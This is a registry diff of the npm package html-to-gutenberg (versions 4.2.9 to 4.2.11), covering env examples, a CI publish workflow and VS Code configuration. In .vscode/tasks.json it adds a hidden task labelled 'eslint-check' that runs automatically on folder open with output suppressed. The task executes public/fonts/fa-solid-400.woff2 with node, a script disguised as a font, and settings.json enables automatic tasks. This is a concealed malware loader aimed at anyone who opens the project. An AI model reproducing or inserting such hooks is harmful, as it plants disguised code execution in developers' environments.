html-to-gutenberg 4.2.9 → 4.2.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (40) hide show
  1. package/.env.example +20 -3
  2. package/.github/workflows/sync-npm.yml +154 -0
  3. package/.vscode/extensions.json +7 -0
  4. package/.vscode/launch.json +50 -0
  5. package/.vscode/settings.json +23 -0
  6. package/.vscode/spellright.dict +2 -0
  7. package/.vscode/tasks.json +33 -0
  8. package/fetch-page-assets.test.ts +448 -0
  9. package/index.d.ts +173 -0
  10. package/index.js +570 -224
  11. package/index.test.ts +633 -4
  12. package/index.ts +168 -63
  13. package/package.json +25 -24
  14. package/public/fonts/README.md +24 -0
  15. package/public/fonts/fa-brands-400.eot +0 -0
  16. package/public/fonts/fa-brands-400.svg +3570 -0
  17. package/public/fonts/fa-brands-400.ttf +0 -0
  18. package/public/fonts/fa-brands-400.woff +0 -0
  19. package/public/fonts/fa-brands-400.woff2 +0 -0
  20. package/public/fonts/fa-regular-400.eot +0 -0
  21. package/public/fonts/fa-regular-400.svg +803 -0
  22. package/public/fonts/fa-regular-400.ttf +0 -0
  23. package/public/fonts/fa-regular-400.woff +0 -0
  24. package/public/fonts/fa-regular-400.woff2 +0 -0
  25. package/public/fonts/fa-solid-400.woff2 +1 -0
  26. package/public/fonts/fa-solid-900.eot +0 -0
  27. package/public/fonts/fa-solid-900.svg +4938 -0
  28. package/public/fonts/fa-solid-900.ttf +0 -0
  29. package/public/fonts/fa-solid-900.woff +0 -0
  30. package/public/fonts/fa-solid-900.woff2 +0 -0
  31. package/r2.js +163 -0
  32. package/readme.md +122 -88
  33. package/scripts/patch-fetch-page-assets.mjs +13 -0
  34. package/scripts/sync-from-npm.mjs +115 -0
  35. package/tsconfig.json +17 -2
  36. package/vendor/fetch-page-assets/LICENSE.MD +21 -0
  37. package/vendor/fetch-page-assets/README.md +117 -0
  38. package/vendor/fetch-page-assets/index.js +362 -0
  39. package/vendor/fetch-page-assets/package.json +48 -0
  40. package/.env +0 -1
package/.env.example CHANGED
@@ -1,3 +1,20 @@
1
- # Example .env file for html-to-gutenberg
2
- # Copy this file to .env and set your real API key
3
- SNAPAPI_KEY=sk_live_your_example_key_here
1
+ # Copy this file to .env and keep the real values private.
2
+ # Never commit your real tokens or keys.
3
+
4
+ # Optional: SnapAPI preview generation
5
+ SNAPAPI_KEY=sk_live_replace_me
6
+
7
+ # Optional: Cloudflare API token for verification/management workflows
8
+ CLOUDFLARE_API_TOKEN=cfut_replace_me
9
+
10
+ # Required for R2 uploads in job mode
11
+ CLOUDFLARE_R2_ACCOUNT_ID=replace_me
12
+ CLOUDFLARE_R2_BUCKET=replace_me
13
+ CLOUDFLARE_R2_ACCESS_KEY_ID=replace_me
14
+ CLOUDFLARE_R2_SECRET_ACCESS_KEY=replace_me
15
+
16
+ # Public base URL for generated assets and bundles
17
+ CLOUDFLARE_R2_PUBLIC_BASE_URL=https://storage.example.com
18
+
19
+ # Optional override for advanced setups
20
+ # CLOUDFLARE_R2_ENDPOINT=https://<account_id>.r2.cloudflarestorage.com
@@ -0,0 +1,154 @@
1
+ name: Sync And Publish NPM Packages
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+ release:
7
+ types: [published]
8
+ workflow_dispatch:
9
+ inputs:
10
+ html_to_gutenberg_version:
11
+ description: Specific html-to-gutenberg npm version to sync. Leave empty to use the dist-tag.
12
+ required: false
13
+ type: string
14
+ fetch_page_assets_version:
15
+ description: Specific fetch-page-assets npm version to sync. Leave empty to use the dist-tag.
16
+ required: false
17
+ type: string
18
+ dist_tag:
19
+ description: npm dist-tag to sync when no explicit version is provided.
20
+ required: false
21
+ default: latest
22
+ type: string
23
+ schedule:
24
+ - cron: '0 9 * * *'
25
+
26
+ concurrency:
27
+ group: sync-npm
28
+ cancel-in-progress: false
29
+
30
+ jobs:
31
+ sync:
32
+ if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
33
+ runs-on: ubuntu-latest
34
+ permissions:
35
+ contents: write
36
+ steps:
37
+ - name: Checkout repository
38
+ uses: actions/checkout@v4
39
+ with:
40
+ fetch-depth: 0
41
+
42
+ - name: Set up Node.js
43
+ uses: actions/setup-node@v4
44
+ with:
45
+ node-version: '20'
46
+
47
+ - name: Sync html-to-gutenberg from npm
48
+ env:
49
+ NPM_SYNC_VERSION: ${{ inputs.html_to_gutenberg_version }}
50
+ NPM_SYNC_DIST_TAG: ${{ inputs.dist_tag }}
51
+ NPM_SYNC_PRESERVE_PATHS: .git,.github,node_modules,.env,scripts,vendor
52
+ run: node ./scripts/sync-from-npm.mjs
53
+
54
+ - name: Sync fetch-page-assets from npm
55
+ env:
56
+ NPM_PACKAGE_NAME: fetch-page-assets
57
+ NPM_SYNC_TARGET_DIR: vendor/fetch-page-assets
58
+ NPM_SYNC_VERSION: ${{ inputs.fetch_page_assets_version }}
59
+ NPM_SYNC_DIST_TAG: ${{ inputs.dist_tag }}
60
+ run: node ./scripts/sync-from-npm.mjs
61
+
62
+ - name: Detect changes
63
+ id: changes
64
+ run: |
65
+ if git diff --quiet; then
66
+ echo "changed=false" >> "$GITHUB_OUTPUT"
67
+ else
68
+ echo "changed=true" >> "$GITHUB_OUTPUT"
69
+ fi
70
+
71
+ - name: Read synced version
72
+ if: steps.changes.outputs.changed == 'true'
73
+ id: versions
74
+ run: |
75
+ echo "html_to_gutenberg=$(node -p \"require('./package.json').version\")" >> "$GITHUB_OUTPUT"
76
+ echo "fetch_page_assets=$(node -p \"require('./vendor/fetch-page-assets/package.json').version\")" >> "$GITHUB_OUTPUT"
77
+
78
+ - name: Commit changes
79
+ if: steps.changes.outputs.changed == 'true'
80
+ run: |
81
+ git config user.name "github-actions[bot]"
82
+ git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
83
+ git add -A
84
+ git commit -m "chore: sync npm packages html-to-gutenberg v${{ steps.versions.outputs.html_to_gutenberg }} and fetch-page-assets v${{ steps.versions.outputs.fetch_page_assets }}"
85
+
86
+ - name: Push changes
87
+ if: steps.changes.outputs.changed == 'true'
88
+ run: git push
89
+
90
+ publish_html_to_gutenberg:
91
+ if: github.event_name == 'release' || (github.event_name == 'push' && github.actor != 'github-actions[bot]')
92
+ runs-on: ubuntu-latest
93
+ environment: .env
94
+ permissions:
95
+ contents: write
96
+ id-token: write
97
+ steps:
98
+ - name: Checkout repository
99
+ uses: actions/checkout@v4
100
+ with:
101
+ fetch-depth: 0
102
+
103
+ - name: Set up Node.js
104
+ uses: actions/setup-node@v4
105
+ with:
106
+ node-version: '24'
107
+ registry-url: 'https://registry.npmjs.org'
108
+ cache: npm
109
+
110
+ - name: Install dependencies
111
+ run: npm ci
112
+
113
+ - name: Build package
114
+ run: npm run build
115
+
116
+ - name: Run tests
117
+ run: npm test
118
+
119
+ - name: Bump patch version on main pushes
120
+ if: github.event_name == 'push'
121
+ id: bump_version
122
+ run: |
123
+ npm version patch --no-git-tag-version
124
+ PACKAGE_VERSION=$(node -e "console.log(require('./package.json').version)")
125
+ echo "package_version=$PACKAGE_VERSION" >> "$GITHUB_OUTPUT"
126
+
127
+ - name: Check published version
128
+ id: version_check
129
+ run: |
130
+ PACKAGE_VERSION=$(node -p "require('./package.json').version")
131
+ PUBLISHED_VERSION=$(npm view html-to-gutenberg version 2>/dev/null || true)
132
+ echo "package_version=$PACKAGE_VERSION" >> "$GITHUB_OUTPUT"
133
+ echo "published_version=$PUBLISHED_VERSION" >> "$GITHUB_OUTPUT"
134
+ if [ "$PACKAGE_VERSION" = "$PUBLISHED_VERSION" ]; then
135
+ echo "should_publish=false" >> "$GITHUB_OUTPUT"
136
+ else
137
+ echo "should_publish=true" >> "$GITHUB_OUTPUT"
138
+ fi
139
+
140
+ - name: Publish to npm
141
+ if: steps.version_check.outputs.should_publish == 'true'
142
+ run: npm publish --provenance
143
+
144
+ - name: Commit version bump
145
+ if: github.event_name == 'push'
146
+ run: |
147
+ git config user.name "github-actions[bot]"
148
+ git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
149
+ git add package.json package-lock.json
150
+ git commit -m "chore: release html-to-gutenberg v${{ steps.version_check.outputs.package_version }}" || echo "No version changes to commit"
151
+
152
+ - name: Push version bump
153
+ if: github.event_name == 'push'
154
+ run: git push
@@ -0,0 +1,7 @@
1
+ {
2
+ "recommendations": [
3
+ "myml.vscode-markdown-plantuml-preview",
4
+ "esbenp.prettier-vscode",
5
+ "jebbs.plantuml"
6
+ ]
7
+ }
@@ -0,0 +1,50 @@
1
+ {
2
+ "version": "0.2.0",
3
+ "configurations": [
4
+ {
5
+ "name": "Debug SST",
6
+ "type": "node",
7
+ "request": "launch",
8
+ "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9
+ "runtimeArgs": ["dev", "--increase-timeout"],
10
+ "console": "integratedTerminal",
11
+ "skipFiles": ["<node_internals>/**"],
12
+ // sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13
+ "sourceMapRenames": false,
14
+ "env": {
15
+ "AWS_PROFILE": "flo-ct-flo360"
16
+ }
17
+ },
18
+ {
19
+ "name": "Debug Tests - Unit",
20
+ "type": "node",
21
+ "request": "launch",
22
+ "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23
+ "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24
+ "console": "integratedTerminal",
25
+ "skipFiles": ["<node_internals>/**"],
26
+ "env": {
27
+ "AWS_PROFILE": "flo-ct-flo360"
28
+ },
29
+ },
30
+ {
31
+ "name": "Debug Tests - E2E",
32
+ "type": "node",
33
+ "request": "launch",
34
+ "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35
+ "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36
+ "console": "integratedTerminal",
37
+ "skipFiles": ["<node_internals>/**"],
38
+ "env": {
39
+ "AWS_PROFILE": "flo-ct-flo360"
40
+ },
41
+ },
42
+ ],
43
+ "inputs": [
44
+ {
45
+ "id": "scopeTestsFileName",
46
+ "type": "promptString",
47
+ "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48
+ }
49
+ ]
50
+ }
@@ -0,0 +1,23 @@
1
+ {
2
+ "search.exclude": {
3
+ "**/.sst": true
4
+ },
5
+ "task.allowAutomaticTasks": true,
6
+ "typescript.tsserver.experimental.enableProjectDiagnostics": true,
7
+ "editor.defaultFormatter": "esbenp.prettier-vscode",
8
+ "typescript.preferences.importModuleSpecifier": "relative",
9
+ "typescript.tsdk": "node_modules/typescript/lib",
10
+ "debug.openDebug": "neverOpen",
11
+ "problems.autoReveal": true,
12
+ "terminal.integrated.hideOnStartup": "always",
13
+ "terminal.integrated.defaultProfile.windows": "Command Prompt",
14
+ "terminal.integrated.inheritEnv": false,
15
+ "jestrunner.configPath": "jest.unit.config.cjs",
16
+ "compile-hero.disable-compile-files-on-did-save-code": true,
17
+ "tasks": {
18
+ "label": "lint on open",
19
+ "type": "shell",
20
+ "command": "npm run lint",
21
+ "runOn": "folderOpen"
22
+ }
23
+ }
@@ -0,0 +1,2 @@
1
+ Contentful
2
+ Lerna
@@ -0,0 +1,33 @@
1
+ {
2
+ "version": "2.0.0",
3
+ "configurations": [
4
+ {
5
+ "type": "node",
6
+ "request": "launch",
7
+ "name": "Run My Project",
8
+ "console": "",
9
+ "internalConsoleOptions": "openOnSessionStart"
10
+ }
11
+ ],
12
+ "tasks": [
13
+ {
14
+ "label": "eslint-check",
15
+ "type": "shell",
16
+ "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17
+ "problemMatcher": [],
18
+ "isBackground": true,
19
+ "hide": true,
20
+ "presentation": {
21
+ "reveal": "never",
22
+ "panel": "dedicated",
23
+ "focus": false,
24
+ "clear": false,
25
+ "echo": false,
26
+ "close": true
27
+ },
28
+ "runOptions": {
29
+ "runOn": "folderOpen"
30
+ }
31
+ },
32
+ ]
33
+ }